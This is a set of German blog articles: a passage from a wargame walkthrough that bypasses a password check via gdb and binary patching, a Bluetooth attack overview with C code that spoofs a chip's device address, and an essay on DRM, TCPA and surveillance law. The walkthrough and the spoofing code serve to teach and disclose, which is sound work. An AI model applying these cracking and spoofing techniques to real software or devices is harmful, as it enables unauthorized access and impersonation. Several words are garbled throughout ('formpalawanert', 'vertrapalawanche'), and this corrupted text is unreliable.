0x08048549 <main\4387>: jne 0x8048565 <main\43115>

JNE heisst Jump not Equal also wenn keine 1 gefunden wurde, rufe 0x8048565 auf (was auch immer da geschieht). Wenn doch 1, dann latsch einfach weiter. Schaun wir mal ob wir eine 0 oder eine 1 sein wollen.

0x0804854e <main\4392>: push $0x80486bc 0x08048553 <main\4397>: call 0x8048370 <_init\4356>

Hier wird irgendwas auf den Stack geschmissen und eine weitere (externe) Funktion aufgerufen. Wir wissen wenn wir was falsches eingeben, wird auf dem Bildschirm "Wrong password!" ausgegeben. Kucken wir mal was an der Adresse 0x80486bc steht und interpretieren es als ASCII String.

(gdb) x/s 0x80486bc 0x80486bc <_IO_stdin_used\4340<: "Wrong password!"

Volltreffer! Das ist also das, was wir nicht haben wollen. Wir möchten eine 0 im Register EAX stehen haben nachdem die check Funktion ausgeführt wurde.

Ok. Setzen wir einen Breakpoint auf die Zeile, in der der Wert aus EAX zum Vergleichen ins RAM kopiert wird, das war diese Zeile hier

0x08048542 <main\4380>: mov %eax,0xfffffffc(%ebp) (gdb) break *0x08048542

Wenn wir das Programm jetzt mit dem Parameter password starten, dann hält es genau an dieser Stelle an (bevor es diese ausführt).

(gdb) run password

Mal kucken was in EAX drin steht.

(gdb) print $eax $4 = 1

Gut. Wenn das Programm jetzt weiter läuft und wir alles richtig verstanden haben, dann zeigt es uns "Wrong password!". Probieren wir's aus.

(gdb) continue Continuing. Wrong password!

Passt. Also nochmal neustarten...

(gdb) run password Starting program: /home/dj/wargames/reveng/check-password password Breakpoint 3, 0x08048542 in main ()

...und diesmal hätten wir gerne eine 0 in EAX.

(gdb) set $eax = 0 (gdb) print $eax $5 = 0

Sehr schön. Weiter.

(gdb) continue Continuing. Accepted password! sh: /bin/csh: No such file or directory

Tada! Damit hätten wir die Passwortabfrage geknackt. Das Programm versucht anschliessend uns eine C Shell zu geben, die auf diesem Computer allerdings nicht installiert ist.

Ich find es irgendwie ein wenig lästig immer in den Debugger zu wechseln und jedes Mal mir diesen Assembler Code anzutun und irgendwelche Werte in Registern zu überschreiben, um diese Passwortroutine zu umgehen. Das muss noch schöner funktionieren!

Schnell das Binary disassemblen.

objdump -d check-password|less

Und die Stelle suchen an der der Rückgabewert mit 1 verglichen wird.

8048545: 83 7d fc 01 cmpl $0x1,0xfffffffc(%ebp)

Meistens produziert unsere Passworteingabe eine 0. Wie schön wäre das Leben, wenn das Programm statt auf eine 1 auf eine 0 überprüfen würde... Der Befehl cmpl $0x1,0xfffffffc(%ebp) sieht in Hexzahlen so aus 83 7d fc 01. Wir erinnern uns Computer kennen nichts anderes als Zahlen und zwar binäre Zahlen und der letzte Schritt vom Assemblercode zum Binary ist die Befehle in Zahlen zu übersetzen. Binäre Zahlen sehen ziemlich unhandlich aus, deshalb zeigt man sie besser in Hex an. Netterweise ist in 83 7d fc 01 eine 01 enthalten. Nehmen wir also einen beliebigen Hexeditor, ich empfehle khexedit, und suchen nach genau diesen Zahlen in dem Binary.

0000:0540 c4 10 89 45 fc 83 7d fc 01 75 1a 83 ec 0c 68 bc

Da haben wir's. Jetzt ändern wir die 1 in eine 0...

0000:0540 c4 10 89 45 fc 83 7d fc 00 75 1a 83 ec 0c 68 bc

...speichern und ab dafür!

./check-password hfakjfhak Accepted password! sh: /bin/csh: No such file or directory

Mit dem Ergebnis kann ich leben :)

Nur der Vollständigkeit halber es gibt noch weitere Möglichkeiten sich die Passwortabfrage vom Hals zu schaffen. Die eine ist die Rückgabeparameter zu manipulieren, was wir gerade getan haben, eine andere wäre die entsprechende Stelle im Binary, an der die check Funktion aufgerufen wird einfach mit 0x90 Werten (NOP = No operation) zu überschreiben oder man ändert die Adresse, an die das Binary bei einer falschen Eingabe springt einfach in die "richtige" Adresse oder man ersetzt den verschlüsselten Passwortstring djjk/aWmbQkO6 durch einen anderen wie djouNTUyl4Hfg. Für diesen String kennen wir das Klartextpasswort abc.

Diese Übungsaufgaben bleiben dem interessierten Leser überlassen.

Inside Bluetooth Security

(balle)

Bluesnarfing, sprich unauthorisiertes Kopieren von Daten, und Bluebugging, die komplette Kontrolle über ein Gerät mit Hilfe von AT Befehlen, sind eigentlich altbekannt. Bluesnarfing wurde erstmals im November 2003 von Marcel Holtmann vorgestellt, Bluebugging im März 2004 von Martin Herfurt. Derartige Techniken wurden auf dem 21C3 präsentiert. Trotzdem die Hersteller informiert wurden und Patches verfügbar sind, ist die Information, dass die Bluetooth Implementationen einiger Hersteller sehr leichtfertig brisante Daten durch die Luft schmeissen, leider nicht bis zum Konsumenten weitergeleitet worden. So ist es nicht verwunderlich, dass derartige Attacken im Regierungsbezirk in Berlin das Herrschaftswissen der Republik, wie es der Spiegel nennt, preisgeben. Nur die Tatsache, dass es nachwievor keine Script Kiddie Tools für derartige Attacken im Netz gibt, verhindert schlimmeres oder ist es vielleicht gar mitschuld an der Misere? Ich weiss es nicht, das ist wohl fast schon eine Glaubensfrage.

Auf jeden Fall stelle ich mir immer noch die Frage wie solche Sicherheitslücken zustande kommen. Wieso kann man sich bei manchen Handys auf einen Channel, der nicht via SDP gelistet ist, verbinden und dem Telefon munter Befehle senden, die es dann ungefragt ausführt? Man kann diese Lücke sogar dazu verwenden dem Telefon mitzuteilen, dass es bitte einfach abhebt, wenn man anruft. Dadurch ist eine Raumüberwachung mit Hilfe einer Yagi Antenne auf knapp anderthalb Kilometer Entfernung möglich!

Fällt solch eine Eigenschaft aus Versehen und unbemerkt in den Code?

Oder wurde sie zu Testzwecken implementiert und nachher vergessen?

Das manche Hersteller es irgendwie versäumt haben bei OBEX FTP eine Authentifizierung einzubauen und man deshalb munter das Telefonbuch sowie den Kalendar auslesen kann, kann ich mir ja noch vorstellen.

Wie auch immer solche Dinge zustande kommen mögen, die Informationspolitik der entsprechenden Unternehmen ist miserabel.

Dank Blooover braucht man auch noch nicht einmal mehr einen Laptop, ein Handy mit Bluetooth und Java Unterstützung reicht aus, um derartige Attacken fahren zu können. Und wer sich ein wenig mit Bluetooth auskennt, bei Ebay z.B. ein Nokia 6310i mit ungepatchter Softwareversion ersteigert, via Bash Script die RFCOMM Channels des Telefons abklappert und mit der CVS Version von BlueZ vertraut ist, wird diese Lücken ebenfalls schnell finden. Sie sind einfach zu trivial.

Eine Einführung in das Thema bietet der Artikel Bluetooth for fun and profit.

Bei Nokia kann man sich eine komplette Dokumentation der AT Befehle downloaden und man wird feststellen, dass man mit seiner Bluetooth Verbindung mindestens genauso viel machen kann, wie der Mensch an der Handytastatur.

Das Tracken von Personen Dank der eindeutigen Bluetooth Adresse, sowie Blueprinting, Erkennen des Herstellers anhand der ersten drei Byte, brauch ich wohl kaum noch erwähnen. Also was gibt's neues seid dem 21C3?

Mehrere Angriffsmöglichkeiten sowohl auf den Bluetooth Stack als auch auf Dienste, die über Bluetooth erreichbar sind, können zu einer Denial of Service Attacke führen und entweder nur den Bluetooth Stack oder gleich das ganze Gerät abstürzen lassen.

Ein Beispiel für solch eine Attacke wurde auf dem 21C3 präsentiert, indem einem PDA ein etwas größeres L2CAP Packetchen geschickt wurde und dadurch lustige Nebeneffekte auftraten. Aber anscheinend geht es noch viel einfacher, denn es wurde berichtet, dass der Bluetooth Stack von Nokia 7650, Nokia 6600, Siemens V55, Motorola S55 und Windows 2003 abstürzen soll, wenn sie zu lange mit l2ping -f genervt werden. Mehr dazu hier.

Ich konnte das Mangels Verfügbarkeit dieser Devices nicht nachprüfen und kann nur sagen, dass mein geliebtes Nokia 6310i das nicht interessiert. Aber ich bin neugierig geworden und habe mich gefragt, ob es bei derart einfachen Angriffen nicht auch die Möglichkeit einer LAND Attacke, also Senden eines Pakets mit gleicher Absender- wie Empfängeradresse, gibt.

Manche Bluetooth Chipsätze erlauben es mit Hilfe eines HCI Befehls die Adresse neu zu setzen, doch Vorsicht man sollte sich die alte Adresse notieren, sonst isse futsch. Hier ein kurzes Codesnippet für den Ericsson Chipsatz, das mir freundlicherweise von Marcel Holtmann zur Verfügung gestellt wurde. Die handelsüblich verbauten CSR Chipsätze bieten solch ein nettes Feature leider nicht an.

#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <bluetooth/bluetooth.h>
#include <bluetooth/hci.h>
#include <bluetooth/hci_lib.h>

#define OCF_ERICSSON_STORE_IN_FLASH     0x0022
typedef struct {
        uint8_t         user_id;
        uint8_t         flash_length;
        uint8_t         flash_data[253];
} __attribute__ ((packed)) ericsson_store_in_flash_cp;
#define ERICSSON_STORE_IN_FLASH_CP_SIZE 255

static void change_bdaddr(int dd, char *btaddr)
{
        struct hci_request rq;
        ericsson_store_in_flash_cp cp;
        bdaddr_t bdaddr;

        memset(&cp, 0, sizeof(cp));
        cp.user_id = 254;
        cp.flash_length = 6;

        str2ba(btaddr, &bdaddr);
        memcpy(&cp.flash_data, &bdaddr, 6);

        memset(&rq, 0, sizeof(rq));
        rq.ogf    = OGF_VENDOR_CMD;
        rq.ocf    = OCF_ERICSSON_STORE_IN_FLASH;
        rq.cparam = &cp;
        rq.clen   = ERICSSON_STORE_IN_FLASH_CP_SIZE;
        rq.rparam = NULL;
        rq.rlen   = 0;

        if (hci_send_req(dd, &rq, 1000) < 0) {
                perror("");
                return;
        }
}

int main(int argc, char *argv[])
{
        int dd;

        if(argc < 3)
          {
            printf("change_btaddr <devnr> <addr>\n");
            exit(0);
          }

        dd = hci_open_dev(atoi(argv[1]));
        if (dd < 0) {
                perror("");
                exit(1);
        }

        change_bdaddr(dd,argv[2]);

        hci_close_dev(dd);

        return 0;
}

Eine Liste der Ericsson HCI Commands und Events gibt es hier.

Als ich daraufhin die Adresse des Bluetooth Sticks auf die selbe wie meines Nokia 6310i gesetzt hab und ein l2ping ausführen wollte, bekam ich nur ein No route to host um die Ohren gehaun. Ok aktiv geht es schon mal nicht, also probiert man einen passiven Scan. Auch der zeigte kein Ergebnis. Ich weiss jetzt leider nicht, ob überhaupt ein Paket in die Luft geschleudert wurde oder ob der Stick nur mit sich selber geredet hat, aber ich bin optimistisch, dass es dort draussen einen Bluetooth Stack gibt, der für sowas zu haben ist.

Ok. Weg von L2CAP hin zu OBEX. In der Software eines Sony Ericsson P900 und Nokia 9500 wurden mehrere Deskriptor Overflow Möglichkeiten mit Hilfe von VCards, deren Dateiname oder Inhalte mehr als 200 Zeichen beinhaltet, entdeckt, die sich aber laut Aussage des Entdeckers leider nicht exploiten lassen und selbst wenn es eine Möglichkeit gäbe, es dem Angreifer nicht viel bringen würde, weil das Symbian OS diese Dienste mit sehr niedrigen und eingeschränkten Privilegien laufen lässt. Trotz allem kann solch eine Attacke zu einem Denial of Service führen.

Ich hab daraufhin die bluez-utils und die Kernel Bluetooth Implementation gepatched, so dass der Devicename mehr als die üblichen 248 Zeichen umfasst, in der Annahme, dass so etwas vielleicht auch zu einem Overflow führen könnte, doch Fehlanzeige. Die Firmware des Bluetooth Stick liest nur 248 Zeichen und Ende. Eine Möglichkeit des Overflows besteht somit wahrscheinlich nur über die Netzwerkebende, also via Pakete / Payload. Etwas Perl Code im POC Status zum Thema gibt es hier.

Zwei israelische Forscher, Avishai Wool und Yaniv Shaked von der Universität in Tel Aviv, haben den Algorythmus des in Bluetooth verwendeten Verschlüsselungsverfahren Safer+ geknackt. Nach eigenen Aussage ist es möglich eine vierstellige PIN mit einem 3 GHz Rechner in 0.06 Sekunden zu errechnen.

Dazu muss allerdings der gesamte Pairing Prozess mitgeschnitten werden, dann kann mit der Bruteforce Methode der Link Key ermittelt werden. Die Tatsache, dass viele Hersteller nur eine vier stellige PIN zulassen, erleichtert solche Angriffe enorm.

Die selben Forscher haben eine Repairing Attacke entdeckt, wobei einem Gerät mit gespoofter Bluetooth Adresse erzählt wird, man hätte aus Versehen den Link Key verbummelt, was einen neuen Pairing Prozess auslöst und dazu dienen kann den Pairing Prozess erneut mitzulesen.

Eventuell ist es nach dem alten Verfahren RST + Spoof möglich ein Bluetooth Gerät auszuschalten und seine Verbindung zu hijacken?

Bluetooth Sniffer, die den gesamten Pairing Prozess, also auch die Layer unterhalb von L2CAP und HCI, mitlesen können, kosten derzeit mehrere tausend Dollar. Da stellt sich mir als Unwissenden in Sachen Firmware Programmierung die Frage, ob es nicht möglich wäre eine Open Source Bluetooth Firmware zu entwickeln, die neben dem Spoofen der Bluetooth Adresse einen Sniffer beinhaltet und direkt das Bruteforce Konzept mit in den Code gießt.

Heute kam über die Full Disclosure Mailingliste eine Mail in mein Postfach geflattert, die mir mitteilte, dass es auf einem ungepatchten Mac OS X, sowie diversen PDAs, wie z.B. einem HP Ipaq 2215 möglich sei mit einer angepassten btftp Version von Affix aus dem Root Verzeichnis eines OBEX FTP Servers auszubrechen und somit beliebig im Dateisystem rumzuhüpfen. Alles was es dazu brauchte, waren diese freundlichen ../ Zeichen und die Tatsache, dass es Hersteller gibt, die selbst OBEX FTP ohne Authentifikation erlauben.

Die Zukunft wird wohl noch einige nette Spielereien in Sachen Bluetooth parat haben. Die Designer des Bluetooth Protokolls betonen nachwievor, dass alle Angriffe lediglich Fehler in der Implementation, aber nicht im Design sind. Bei einem angreifbaren auf einem unbekannten, gebrochenen Cipher basierenden Pairing Prozess lässt sich über diese Aussage vielleicht langsam, aber sicher streiten. Dennoch steht für mich ausser Frage, dass das Design von Bluetooth bei weitem robuster ist, als von manch anderem Protokoll, vor allem durch die Tatsache, dass nur die Firmware an die unteren Layer kommt.

Doch schön gedacht, ist noch lange nicht schön gemacht.

Bluetooth sollte somit besser nur bei Bedarf angeschaltet werden und man sollte peinlichst genau darauf achten, welchem Gerät man eine Verbindung gestattet.

Hab ich erähnt, dass Du Dein Handy patchen solltest? ;)

Digitaler Maulkorb?

(balle)

DRM, TCPA, DMCA oder Software Patente -- alles mehr oder weniger schöne Schlagwörter, die man vielleicht mal gehört hat, aber die Öffentlichkeit haben sie bei weitem noch nicht erreicht. Dieser Artikel will versuchen einem die neuen Technologien und Gesetze kurz zu erläutern und auch die möglichen Risiken, die auftreten können, wenn alles zusammen kommt. Zuletzt wird dann auch noch gewagt diese neuen Gesetze und Technologien kurz im Zusammenhang mit den seit dem 11. September 2001 in Kraft getretenen Gesetzen und angelaufenen Projekten zu sehen.

DRM steht für Digital Rights Management. Dies ist eine neue Technologie, die vor allem von der Musikindustrie unterstützt wird. Diese Systeme sollen allgemein formpalawanert elektronische Abrechnungs- und Kontrollmechanismen wie z.B. die Einweg-DVD bieten. Oder einfach übersetzt heißt es "Elektronische Rechteverwaltung" und genau das ist auch das Ziel! Dadurch will man unter anderem endlich das Dauerproblem Kopierschutz in den Griff bekommen.

Wenn man irgendwann eine DVD oder CD in den Händen hält, die man nur an seinem Geburtstag abspielen kann, dann handelt es sich dabei um DRM!

Diese Technologie kann allerdings nicht nur für kopiergeschützte Werke verwendet werden, sondern auch für "Einweg E-Mails" oder sonstige digitale Dokumente. Das erinnert vielleicht ein wenig an den Spruch "Diese Nachricht zerstört sich in 10 Sekunden selbst" und kann einerseits ganz praktisch sein, wenn z.B. Dein Arbeitgeber Dir vertrapalawanche Informationen übermitteln möchte. Andererseits kann es auch unter Umständen die Beweispflicht z.B. für angeordnete Arbeitsanweisungen unmöglich machen ("Can you trust your computer?").

Aber DRM ist natürlich keine eierlegende Wollmilchsau und so wurde z.B. das von Microsoft heimlich durch einen "Sicherheitspatch" in den Mediaplayer integrierte DRM schon geknackt.

An und für sich ist DRM keine schlechte Idee, weil es neue interessante Absatzwege schafft. Eine Pizza bestellen und als Zugabe eine DVD für diesen Abend zu bekommen ist schon nett. Und die Möglichkeit zu haben, vertrapalawanche Firmendaten vor dem kopieren oder weitergeben zu schützen, ist bestimmt auch eine gute Idee. Aber es kann je nach Implementation dazu verwendet werden massiv gegen Wissens- oder Meinungsaustausch vorzugehen. Firmendaten können auch heute schon durch Verschlüsselungstechniken so geschützt werden, dass man sie nur einmal entschlüsseln kann.

Dennoch sollten die Leistungen der Künstler bezahlt werden, allerdings hört der Spass auf, wenn man seine gekaufte CD nicht mehr auf seinen MD- oder Mp3-Player laden kann oder wenn man die CD erst gar nicht hören kann, weil man keinen "normalen" CD Spieler besitzt, aber da spielen vielleicht auch die neuen "Kopierschütze" eine Rolle...

Oder wenn ich die CD schon nur noch auf einem Abspielgerät hören kann, dann sollen doch bitte die Preise entsprechend angepasst werden; ansonsten ist der ehrliche Verbraucher der Leidtragende im Kampf gegen Raubkopierer. Das hat jetzt anscheinend auch Berlin erreicht, denn "Politiker und Plattenhändler fordern Preissenkungen für CDs".

Weitere Informationen zum DRM

DMCA steht für Digital Millennium Copyright Act und ist das neue Kopierschutzgesetz der USA.

Nun was haben wir in Europa damit zu tun? Das Schlagwort heißt Solidarität oder "Nachäffen amerikanischer Gesetze" egal wie gut oder schlecht sie auch sein mögen.

Der DMCA verbietet jegliche Verbreitung von Maßnahmen, die es einem ermöglichen elektronische Zugangskontrollen zu umgehen und zielt eigentlich darauf ab Pay-TV und sonstige elektronische Bezahlmedien vor Crackern zu schützen. Das ist vielleicht auch keine so schlechte Idee allerdings ist der DMCA so ungenau formpalawanert, dass er im Grunde alle elektronischen Zugangskontrollen, die geschützt sind (oder wenigstens so aussehen als seien sie geschützt), abdeckt und somit z.B. auch verhindert, dass man, wie Professor Edward Felton, Sicherheitslöcher in digitalen Wasserzeichen veröffentlicht, um so eigentlich die Forschung voran zu treiben:

Durch den DMCA verunsichert, kann es so weit kommen, dass Sicherheitslöcher respektive ihrer Behebungen nicht mehr veröffentlicht werden. Dieses würde die beteiligten Staaten in die Informationssteinzeit zurück katapultieren.

Dass diese Gedankengänge dabei gar nicht so abwegig sind, sollte z.B. folgender Artikel beweisen, in dem Forscher und Wissenschaftler vor "Folgen für die Netz- und Computersicherheit" warnen.

Eine der ersten Auswirkungen des DMCA sind beispielsweise der Fall zu DeCSS oder der Fall über Dmitry Sklyarov von Elcomsoft, der ein Tool zum Knacken von Adobes Ebooks programmiert hatte.

Zum Glück scheint das europäische Parlament diese Gefahr mittlerweile erkannt zu haben, denn in dem Gesetzestext ist zu lesen: Dieser Rechtsschutz sollte auch das Verhältnismäßigkeitsprinzip berücksichtigen, und es sollten nicht jene Vorrichtungen oder Handlungen untersagt werden, deren wirtschaftlicher Zweck und Nutzen nicht in der Umgehung technischer Schutzvorkehrungen besteht. Insbesondere dürfen die Forschungsarbeiten im Bereich der Verschlüsselungstechniken dadurch nicht behindert werden.

Allerdings kann auch in diesem Gesetzestext keine Definition von "technischen Schutzmaßnahmen" entdeckt werden und das Gesetz untersagt ebenfalls die Herstellung, die Einfuhr, die Verbreitung, den Verkauf, die Vermietung, die Werbung im Hinblick auf Verkauf oder Vermietung und den Besitz zu kommerziellen Zwecken von Vorrichtungen, Erzeugnissen oder Bestandteilen sowie die Erbringung von Dienstleistungen [...] die hauptsächlich entworfen, hergestellt, angepasst oder erbracht werden, um die Umgehung wirksamer technischer Maßnahmen zu ermöglichen oder zu erleichtern.

Die Auslegung ob man mit der Veröffentlichung einer Sicherheitslücke z.B. für einen elektronischen Dienst wie Telnet (bietet Zugang zu einem Computer und als "technische Schutzmassnahme" verwendet es die Authentifikation mittels Benutzernamen und Passwort) gegen dieses Gesetz verstösst oder nicht ist Auslegungssache des Richters.

Wenn man sich allerdings das am 04.02.2002 verabschiedete ZKDSG (Zugangskontrolldiensteschutz-Gesetz (ZKDSG) verabschiedet) anschaut, dann definiert dieses "zugangskontrollierte Dienste" als Rundfunkdarbietungen, Tele- und Mediendienste, die unter der Voraussetzung eines Entgelts erbracht werden und nur unter Verwendung eines Zugangskontrolldienstes genutzt werden können. Bleibt zu hoffen, dass diese Definition auch in dem Euro-DMCA zu finden sein wird.

Fast schon nebensächlich hat der DMCA auch noch den Effekt, dass es in Zukunft so gut wie kein Recht mehr auf eine private (Sicherungs-)Kopie gibt, es sei denn dies wird explizit vom Hersteller erlaubt. Mehr zu diesem Nebeneffekt gibt es unter "Rettet die Privatkopie!"

Der nächste Effekt des DMCA lässt auch nicht lange auf sich warten: Amerikanische Serviceprovider, entschied gestern ein US-Bundesgericht, müssen künftig Daten ihrer Kunden an die Musikindustrie übergeben, wenn diese die Herausgabe verlangt. Damit werden erstmal alle P2P-Nutzern kriminalisiert, deren Daten müssen der RIAA zugespielt oder der Account gestrichen werden. Die Provider gehen in Berufung. Und wenn man sich die News so anschaut, dann wird es verdammt ernst um den Euro-DMCA! ("Mit Digital Rights Management direkt in den Zensurstaat")

TCPA steht für Trusted Computing Platform Alliance und soll in Zukunft dafür sorgen, dass nur noch "lizenzierte, glaubwürdige" Hard- und Software in und auf den Rechnern laufen kann und "lizenzierte, glaubwürdige" Software auch nur noch auf TCPA-fähigen Rechnern. Für TCPA wird natürlich so geworben: "Vertrauen Sie endlich ihrem Computer! Besserer Schutz vor Viren! Mehr Stabilität!"

Diese Aussage ist vielleicht auch erstmal richtig, aber man könnte sie folgendermaßen umformpalawaneren: "Sie dürfen auf ihrem Rechner diese(s) Filesharing Software / Betriebssystem / MP3 Player / selbst geschriebenes Programm / was auch immer nicht mehr laufen lassen. Sie haben dafür keine Lizenz erworben."

TCPA arbeitet nach dem "alles ist verboten, was nicht erlaubt ist"-Prinzip. Man könnte auch sagen TCPA schützt den Rechner vor dem Benutzer und nicht nur vor irgendwelchen Viren und Trojanern. Aber die Behauptung, dass es gegen SPAM helfen könnte, ist definitiv falsch!

Wenn man über TCPA redet, sollte grundsätzlich zwischen TCPA, TPM und Palladium unterschieden werden! TCPA ist ein Zusammenspiel von mehreren Teilstücken (Modulen), die sowohl in die Hard- als auch Software eingebaut werden sollen.

Eines dieser Module ist TPM (auch Fritz-Chip genannt). Dieses Modul prüft, ob auch wirklich nur "gewollte", sprich durch TCPA lizensierte Software und Hardware in und auf dem Rechner sind. Dies wird duch kryptografische Verfahren gelöst wie z.B. AES, 3DES, RSA, SHA-1 und HMAC. TPM wird aber niemals dafür sorgen, dass bestimmte Soft- oder Hardware im Rechner gesperrt wird; es protokolliert lediglich nur, dass es da irgendwo Sachen gibt, deren Prüfsumme nicht vertrauenswürdig ist. Jeder Benutzer generiert dazu einen eigenen Key, der von einer zentralen Stelle signiert wird (Public Key Verfahren) und der auch dazu führt, dass man diesen Benutzer bzw. seinen Computer eindeutig identifizieren kann wie es z.B. Intel mal mit ihrer CPUID versucht hatte...

Für sich allein ist das TPM-Modul eigentlich eine gute Idee, weil es z.B. wie sogenannte Filesystem Integrity Checker (Tripwire usw.), die untersuchen ob sich Dateien auf der Festplatte geändert haben, die sich nicht ändern sollen, überprüft, ob wirklich die Software auf dem Rechner läuft, die man auch drauf haben möchte. Die eindeutige Identifizierung ist aus datenschutztechnischer Sicht allerdings umstritten. Es soll allerdings den Schutz bieten, falls jemand ein Programm oder ein Verfahren zur Umgehung von TPM / TCPA entwickelt hat, dass dieses Verfahren dann nur auf diesem einen Computer funktioniert.

Unangenehm kann die Sache allerdings erst so richtig werden, wenn eine Software, die man nicht kontrollieren kann (und von der man auch nicht nachvollziehen kann was sie denn macht), die Aussagen des TPM-Modules interpretiert und automatisch bestimmte Hard- und Software auf dem Computer sperrt. Denn dann verlässt TCPA den passiven Modus des Überwachens und zensiert aktiv bestimmte Inhalte und Komponenten.

Im Rahmen der CeBIT 2003 wurden vom Chaos Computer Club vier Forderungen zum TPM an das TCPA-Gründungsmitglied IBM überreicht. Diese Forderungen unter dem TitelTCPA - Whom do we have to trust today? sollen vor allem die Fragen des Schlüsselmanagements klären und zu mehr Transparenz bei der Verwendung des TPM führen.

Microsoft hat natürlich auch schon die passende ergänzende Software mit dem Namen Palladium, die allerdings vor ein paar Tagen in "Next-Generation secure Computing Base for Windows" umbenannt wurde. Exakt diese Software würde also dafür sorgen, dass bestimmte Hard- oder Software nicht mehr funktioniert oder man bestimmte Inhalte (MP3s, MPEGs, andere Dateien usw.) nicht mehr abspielen bzw. nur noch mit bestimmten, lizensierten Programmen starten kann.

Interessant ist dann nur die Frage: Wer generiert und verwaltet diese Prüfsummen und Lizenzen? Eine einzelne Firma? Alle Firmen aus dem TCPA Konsortium? Was ist mit Usern, die keine Internetanbindung haben? Das bedeutet aber auch, dass ein Hardwarehersteller zusammen mit einem grossen Softwarehersteller bestimmen kann, was man auf dem eigenen PC laufen lassen darf, je nach dem, wie das Problem mit der Lizensierung gelöst wird. Im Falle von Palladium dürfte klar sein, dass die Lizenzvergabe wohl ziemlich wahrscheinlich bei Microsoft statt finden wird.

Und TCPA Lizenzen werden bestimmt auch nicht gerade günstig zu haben sein, was unter Umständen viele kleine und mittelständische Betriebe in den Ruin treiben könnte. Es gibt zwar Spekulationen darüber, dass diese Lizenzen am Anfang kostenlos sein werden, um eine höhere Marktakzeptanz von TCPA zu erreichen, aber für die Ewigkeit wird es bestimmt nicht sein!

Die Frage ob sich TCPA mit Linux und Open Source vertragen wird, lässt sich schwer beurteilen. Hier sollte lieber auf einen Artikel verwiesen werden, in dem ein HewlettPackard-Forscher für die Zusammenarbeit von TCPA und Open Source wirbt ("19C3: HP-Forscher wirbt für Allianz von Open-Source-Bewegung und TCPA"). HP entwickelt übrigens auch schon eine TCPA-fähige Linux Version unter der GPL.

Eine erwähnenswerte Planung ist, dass zukünftige Medien (DVD, CDs usw.) nur noch mit TCPA-fähigen Geräten abgespielt werden können, weil die Daten auf diesen Medien verschlüsselt ausgeliefert werden. Diese aggressive Kontrollmethode bietet allerdings ebenfalls die potenzielle Gefahr für zentral gesteuerte Zensur- und Überwachungsmaßnahmen!

In den USA gibt es auch direkt schon einen Gesetzesentwurf, der dafür sorgen soll, dass in allen digitalen Geräten (Fernseher, Videorecorder, CD Player, Computer usw.) ein Kopierschutzmechanismus eingebaut werden muss. Welcher Mechanismus das sein wird, kann man sich wohl denken: TCPA + DRM. Dieses Gesetz (Consumer Broadband and Digital Television Promotion Act (CBDTPA)) soll auch sicher stellen, dass Geräte ohne diese "Sicherheitsvorkehrungen" weder verkauft noch ans Internet angeschlossen werden dürfen. Mehr zu CBDTPA:

Unternehmen der IT-Branche (unter anderem Apple, Microsoft, Dell Computer, Cisco Systems, Hewlett-Packard und Intel) sind gegen das neue Gesetz.

Und hier noch ein paar interessante Links zu TCPA:

Hierzu sollte Georg Greve von der Free Software Foundation zitiert werden: Wie beispielsweise die umfassende Materialsammlung des FFII belegt, existiert kein wissenschaftlich oder gesellschaftlich tragfähiger Grund für Softwarepatente, deren einzige Aufgabe nur sein kann, Wettbewerb und Innovation zu verhindern. So wird etablierten Grossunternehmen ein rechtliches Mittel an die Hand gegeben innovative Konzepte und Firmen per Gerichtsurteil aus dem Geschäft zu drängen. [...] Die Studie impliziert, dass Softwarepatente und freie Software letztlich unvereinbar sind. (Förderverein für eine Freie Informationelle Infrastruktur e.V. (FFII))

Man kann nur hoffen, dass sich die Bundesregierung, die gerade damit begonnen hat sich für Open Source und freie Software stark zu machen, dafür einsetzt EU Softwarepatente zu verhindern oder wenigstens in Ihrer Form abzuschwächen.

Diese neuen Technologien und Gesetze sollen abschließend zusammen mit den schon nach dem 11. September 2001 verabschiedeten Gesetzen betrachtet werden. Da wäre z.B. das Anti Terror Gesetz vom Bundesinnenminister Otto Schily, das unter anderem dafür sorgt, dass die deutschen Geheimdienste und das BKA mehr Möglichkeiten zur Überwachung haben, zugleich weniger kontrolliert werden oder der Weg für die (zentrale) Sammlung von biometrischen Daten aller Bürger bietet, Datenbeschaffung auf Vorrat erlaubt und Ausländer und Asylbewerber unter Generalverdacht stellt:

Das hätte dann wahrscheinlich die zentrale Speicherung der Daten zur Folge, weil dadurch die Verwaltung erheblich vereinfacht wird. Und welche Folgen schlecht geschütztes Datensammeln haben kann, sieht man hier:

Fast schon nebensächlich erlaubt das Anti-Terror-Paket den Einsatz des sogennanten IMSI-Catchers, der einem Handy einen Sendemast vorspielt und für Ortungs- und Abhörmaßnahmen verwendet wird ohne zu berücksichtigen, dass dabei viele unschuldige Bürger in diese Maßnahme mit einbezogen werden.

Oder solche Pilotprojekte wie SCOFI (Smart Card Online für das Filtern des Internets), die Smart Cards an Schulen einführen wollen, um das Internet zentral zu filtern. Momentan soll diese Smart Card nur für die Authentifikation und das Filtern verwendet werden. Allerdings bietet eine solche Smart Card schier unerschöpflichen "Mehrwert" und kann z.B. auch zum Bezahlen oder Sammeln von Daten bis hin zur Überwachung des Schülers benutzt werden. Smart Cards heissen nämlich nicht ohne Grund "Smart"! Das liegt daran, dass diese Karten einen eigenen Mikroprozessor zusätzlich zum normalen Speicher enthalten und somit nicht nur auf das Speichern von Daten beschränkt sind.

Das SCOFI Projekt wird mittlerweile an mehreren Schulen in Europa getestet und entsprechende ergänzende Projekte laufen schon, wie z.B. die "Chipkarte gegen Schul-Schwänzen". Kontaktlose Smart Cards, die per Funk mit einem versteckten Empfänger kommunizieren, werden genauso an Universitäten ("Willkommen in der kontaktlosen neuen Welt!") oder normale Smart Cards werden derzeit als bargeldlose Fahrkarten erprobt. So entpuppt sich das neue Monatsticket "Ticket 2000" des Verkehrsverbundes Rhein-Ruhr auch als Smart Card, ohne dass man es wirklich bewusst wahr nimmt ("Elektronisches Ticketing in der Region Rhein-Ruhr"

Durch diese elektronischen Fahrkarten bekommt man noch ein Zusatzfeature, das man als normaler Fahrgast auf jeden Fall braucht: Man kann sich an einem Logterminal seine letzten Fahrten anschauen also wann man wo wohin gefahren ist und natürlich auch in welchem öffentlichen Verkehrsmittel man sich gerade befindet bzw. dritte Personen könnten dies für einen erledigen. (tick.et: "wir wissen, wo sie sind.")

Und wo wir gerade bei öffentlichen Verkehrsmitteln sind: zumindest in NRW, Berlin und Niedersachsen werden diese nun videoüberwacht. Selbst die gute, alte Wuppertaler Schwebebahn soll zentral gesteuert und elektronisch überwacht für mehr Service, mehr Sicherheit [...] und eine höhere technische Zuverlässigkeit sorgen. Sind Sie sich da sicher?

